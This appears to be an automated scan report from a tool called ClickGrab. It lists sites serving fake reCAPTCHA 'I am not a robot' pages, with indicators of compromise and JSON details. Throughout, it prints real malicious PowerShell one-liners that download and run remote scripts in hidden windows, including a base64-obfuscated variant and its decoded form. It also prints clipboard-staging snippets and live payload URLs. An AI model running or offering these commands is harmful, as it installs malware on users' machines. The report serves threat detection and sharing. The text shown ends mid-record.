ClickGrab Report: 2025-04-17

Report Summary

Sites Scanned

39

Attacks Detected

152

New Attack Patterns

0

Affected Sites

Site Domain	Attack Type	Detected Patterns	First Seen
blessdayservices.org	PowerShell Execution	5	2025-04-17
drmarlenemd.com	PowerShell Execution	5	2025-04-17
jessespridecharters.com	PowerShell Execution	5	2025-04-17
mail.lucprofessional.com.br	PowerShell Execution	3	2025-04-17
mail.finocci.com	PowerShell Execution	1	2025-04-17
kevinzhangadmin.jintsume.net	PowerShell Execution	3	2025-04-17
cambodiatouristservice.com	PowerShell Execution	2	2025-04-17
admin.gestroom.it	PowerShell Execution	1	2025-04-17
first-security-verden.de	PowerShell Execution	5	2025-04-17
lucprofessional.com.br	PowerShell Execution	3	2025-04-17
www.first-security-verden.de	PowerShell Execution	5	2025-04-17
zamilgroups.com	PowerShell Execution	1	2025-04-17
www.laborpartyjo.com	PowerShell Execution	3	2025-04-17
finocci.com	PowerShell Execution	1	2025-04-17
www.amun.jintsume.net	PowerShell Execution	3	2025-04-17
www.finocci.com	PowerShell Execution	1	2025-04-17
www.website.mypetapp.co.za	PowerShell Execution	3	2025-04-17
www.lucprofessional.grupomoltz.com.br	PowerShell Execution	3	2025-04-17
thesignaturemag.salviatech.com	PowerShell Execution	3	2025-04-17
www.bratusferramentas.grupomoltz.com.br	PowerShell Execution	3	2025-04-17
website.mypetapp.co.za	PowerShell Execution	3	2025-04-17
ningbocrm.jintsume.net	PowerShell Execution	3	2025-04-17
horno-rafelet.es	PowerShell Execution	3	2025-04-17
mail.ningbocrm.com	PowerShell Execution	3	2025-04-17
mail.laborpartyjo.com	PowerShell Execution	3	2025-04-17
www.kevinzhangadmin.jintsume.net	PowerShell Execution	3	2025-04-17
bmdcompany.com	PowerShell Execution	1	2025-04-17
www.zamilgroups.com	PowerShell Execution	1	2025-04-17
lucprofessional.grupomoltz.com.br	PowerShell Execution	3	2025-04-17
laborpartyjo.com	PowerShell Execution	3	2025-04-17
www.thesignaturemag.salviatech.com	PowerShell Execution	3	2025-04-17
www.test.peperoncinochepassione.it	PowerShell Execution	3	2025-04-17
mail.cambodiatouristservice.com	PowerShell Execution	2	2025-04-17
www.ningbocrm.jintsume.net	PowerShell Execution	3	2025-04-17
my.salviatech.com	PowerShell Execution	3	2025-04-17
82.146.62.232	PowerShell Execution	3	2025-04-17
101.32.40.22	PowerShell Execution	4	2025-04-17
staplebrokenmetaliyro.blogspot.com	PowerShell Execution	46	2025-04-17

Detailed URL Analysis

Indicators of Compromise

Type	Value
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png
URL	https://www.google.com/intl/en/policies/privacy/
URL	https://www.google.com/intl/en/policies/terms/
URL	https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

powershell -ArgumentList '-w hidden -c iwr https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 | iex' -WindowStyle Hidden\"";
powershell " + htaPath;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://blessdayservices.org/up/",
  "Timestamp": "2025-04-17 21:39:51",
  "Urls": [
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png",
    "https://www.google.com/intl/en/policies/privacy/",
    "https://www.google.com/intl/en/policies/terms/",
    "https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1"
  ],
  "PowerShellCommands": [
    "powershell -ArgumentList '-w hidden -c iwr https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 | iex' -WindowStyle Hidden\\\"\";",
    "powershell \" + htaPath;"
  ],
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification Hash",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...dy.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextAr..."
  ],
  "PowerShellDownloads": [
    {
      "FullMatch": "iwr https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 | iex",
      "URL": "https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1",
      "Context": "...n -c \\\"Start-Process powershell -ArgumentList '-w hidden -c iwr https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 | iex' -WindowStyle Hidden\\\"\"; const commandToRun = \"..."
    },
    {
      "FullMatch": "| iex",
      "URL": null,
      "Context": "...https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 | iex' -WindowStyle Hidden\\\"\"; const commandToRun = \"..."
    },
    {
      "FullMatch": "https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1",
      "URL": "https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1",
      "Context": "...\\\"Start-Process powershell -ArgumentList '-w hidden -c iwr https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 | iex' -WindowStyle Hidden\\\"\"; const commandToR..."
    },
    {
      "FullMatch": "const htaPath = \"-w hidden -c \\\"",
      "URL": "N/A (File Path)",
      "HTAPath": "-w hidden -c \\",
      "Context": "...d').textContent = verification_id; const htaPath = \"-w hidden -c \\\"Start-Process powershell -ArgumentList '-w hidden -c iwr htt..."
    }
  ]
}

Indicators of Compromise

Type	Value
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png
URL	https://www.google.com/intl/en/policies/privacy/
URL	https://www.google.com/intl/en/policies/terms/
URL	https://yogasitesdev.wpengine.com/2/15.ps1

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

powershell " + htaPath;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://drmarlenemd.com/v/",
  "Timestamp": "2025-04-17 21:39:53",
  "Urls": [
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png",
    "https://www.google.com/intl/en/policies/privacy/",
    "https://www.google.com/intl/en/policies/terms/",
    "https://yogasitesdev.wpengine.com/2/15.ps1"
  ],
  "PowerShellCommands": "powershell \" + htaPath;",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification Hash",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...dy.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextAr..."
  ],
  "PowerShellDownloads": [
    {
      "FullMatch": "iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex",
      "URL": "https://yogasitesdev.wpengine.com/2/15.ps1",
      "Context": "...d; const htaPath = \"-w hidden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\\\"\"; const commandToRun = \"powershell \" + htaPat..."
    },
    {
      "FullMatch": "| iex",
      "URL": null,
      "Context": "...idden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\\\"\"; const commandToRun = \"powershell \" + htaPat..."
    },
    {
      "FullMatch": "'https://yogasitesdev.wpengine.com/2/15.ps1'",
      "URL": "https://yogasitesdev.wpengine.com/2/15.ps1",
      "Context": "...const htaPath = \"-w hidden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\\\"\"; const commandToRun = \"powershell \" +..."
    },
    {
      "FullMatch": "const htaPath = \"-w hidden -c \\\"",
      "URL": "N/A (File Path)",
      "HTAPath": "-w hidden -c \\",
      "Context": "...d').textContent = verification_id; const htaPath = \"-w hidden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\\\"\";..."
    },
    {
      "FullMatch": "const htaPath = \"-w hidden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1'",
      "URL": "N/A (File Path)",
      "HTAPath": "-w hidden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1",
      "Context": "...d').textContent = verification_id; const htaPath = \"-w hidden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\\\"\"; const commandToRun = \"powershell \" +..."
    }
  ]
}

Indicators of Compromise

Type	Value
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png
URL	https://www.google.com/intl/en/policies/privacy/
URL	https://www.google.com/intl/en/policies/terms/
URL	https://yogasitesdev.wpengine.com/2/15.ps1

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

powershell " + htaPath;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://jessespridecharters.com/v/",
  "Timestamp": "2025-04-17 21:39:55",
  "Urls": [
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png",
    "https://www.google.com/intl/en/policies/privacy/",
    "https://www.google.com/intl/en/policies/terms/",
    "https://yogasitesdev.wpengine.com/2/15.ps1"
  ],
  "PowerShellCommands": "powershell \" + htaPath;",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification Hash",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...dy.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextAr..."
  ],
  "PowerShellDownloads": [
    {
      "FullMatch": "iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex",
      "URL": "https://yogasitesdev.wpengine.com/2/15.ps1",
      "Context": "...d; const htaPath = \"-w hidden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\\\"\"; const commandToRun = \"powershell \" + htaPat..."
    },
    {
      "FullMatch": "| iex",
      "URL": null,
      "Context": "...idden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\\\"\"; const commandToRun = \"powershell \" + htaPat..."
    },
    {
      "FullMatch": "'https://yogasitesdev.wpengine.com/2/15.ps1'",
      "URL": "https://yogasitesdev.wpengine.com/2/15.ps1",
      "Context": "...const htaPath = \"-w hidden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\\\"\"; const commandToRun = \"powershell \" +..."
    },
    {
      "FullMatch": "const htaPath = \"-w hidden -c \\\"",
      "URL": "N/A (File Path)",
      "HTAPath": "-w hidden -c \\",
      "Context": "...d').textContent = verification_id; const htaPath = \"-w hidden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\\\"\";..."
    },
    {
      "FullMatch": "const htaPath = \"-w hidden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1'",
      "URL": "N/A (File Path)",
      "HTAPath": "-w hidden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1",
      "Context": "...d').textContent = verification_id; const htaPath = \"-w hidden -c \\\"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\\\"\"; const commandToRun = \"powershell \" +..."
    }
  ]
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://mail.lucprofessional.com.br/",
  "Timestamp": "2025-04-17 21:39:56",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://t.me/LearnUSDT_bot?start=540835569

Malicious Code Sample

No malicious code sample extracted from this URL

JSON Technical Data

{
  "Url": "https://mail.finocci.com/",
  "Timestamp": "2025-04-17 21:39:57",
  "Urls": "https://t.me/LearnUSDT_bot?start=540835569"
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://kevinzhangadmin.jintsume.net/",
  "Timestamp": "2025-04-17 21:39:57",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://browser.certif-update.website/
URL	https://browser.certif-update.website/

Malicious Code Sample

No malicious code sample extracted from this URL

JSON Technical Data

{
  "Url": "https://cambodiatouristservice.com/",
  "Timestamp": "2025-04-17 21:39:58",
  "Urls": [
    "https://browser.certif-update.website/",
    "https://browser.certif-update.website/"
  ]
}

Indicators of Compromise

Type	Value
URL	https://t.me/LearnUSDT_bot?start=540835569

Malicious Code Sample

No malicious code sample extracted from this URL

JSON Technical Data

{
  "Url": "https://admin.gestroom.it/",
  "Timestamp": "2025-04-17 21:39:59",
  "Urls": "https://t.me/LearnUSDT_bot?start=540835569"
}

Indicators of Compromise

Type	Value
URL	https://www.webgo.de/assets/images/misc/hazard-50x50.png
URL	https://www.webgo.de/assets/images/misc/hazard-50x50.png
URL	https://www.webgo.de/assets/images/logo.svg
URL	https://www.webgo.de/assets/images/misc/construction.png
URL	https://www.webgo.de/webhosting/

Malicious Code Sample

No malicious code sample extracted from this URL

JSON Technical Data

{
  "Url": "https://first-security-verden.de/",
  "Timestamp": "2025-04-17 21:40:00",
  "Urls": [
    "https://www.webgo.de/assets/images/misc/hazard-50x50.png",
    "https://www.webgo.de/assets/images/misc/hazard-50x50.png",
    "https://www.webgo.de/assets/images/logo.svg",
    "https://www.webgo.de/assets/images/misc/construction.png",
    "https://www.webgo.de/webhosting/"
  ]
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://lucprofessional.com.br/",
  "Timestamp": "2025-04-17 21:40:00",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://www.webgo.de/assets/images/misc/hazard-50x50.png
URL	https://www.webgo.de/assets/images/misc/hazard-50x50.png
URL	https://www.webgo.de/assets/images/logo.svg
URL	https://www.webgo.de/assets/images/misc/construction.png
URL	https://www.webgo.de/webhosting/

Malicious Code Sample

No malicious code sample extracted from this URL

JSON Technical Data

{
  "Url": "https://www.first-security-verden.de/",
  "Timestamp": "2025-04-17 21:40:01",
  "Urls": [
    "https://www.webgo.de/assets/images/misc/hazard-50x50.png",
    "https://www.webgo.de/assets/images/misc/hazard-50x50.png",
    "https://www.webgo.de/assets/images/logo.svg",
    "https://www.webgo.de/assets/images/misc/construction.png",
    "https://www.webgo.de/webhosting/"
  ]
}

Indicators of Compromise

Type	Value
URL	https://t.me/LearnUSDT_bot?start=540835569

Malicious Code Sample

No malicious code sample extracted from this URL

JSON Technical Data

{
  "Url": "https://zamilgroups.com/",
  "Timestamp": "2025-04-17 21:40:02",
  "Urls": "https://t.me/LearnUSDT_bot?start=540835569"
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://www.laborpartyjo.com/",
  "Timestamp": "2025-04-17 21:40:03",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://t.me/LearnUSDT_bot?start=540835569

Malicious Code Sample

No malicious code sample extracted from this URL

JSON Technical Data

{
  "Url": "https://finocci.com/",
  "Timestamp": "2025-04-17 21:40:03",
  "Urls": "https://t.me/LearnUSDT_bot?start=540835569"
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://www.amun.jintsume.net/",
  "Timestamp": "2025-04-17 21:40:03",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://t.me/LearnUSDT_bot?start=540835569

Malicious Code Sample

No malicious code sample extracted from this URL

JSON Technical Data

{
  "Url": "https://www.finocci.com/",
  "Timestamp": "2025-04-17 21:40:03",
  "Urls": "https://t.me/LearnUSDT_bot?start=540835569"
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://www.website.mypetapp.co.za/",
  "Timestamp": "2025-04-17 21:40:05",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
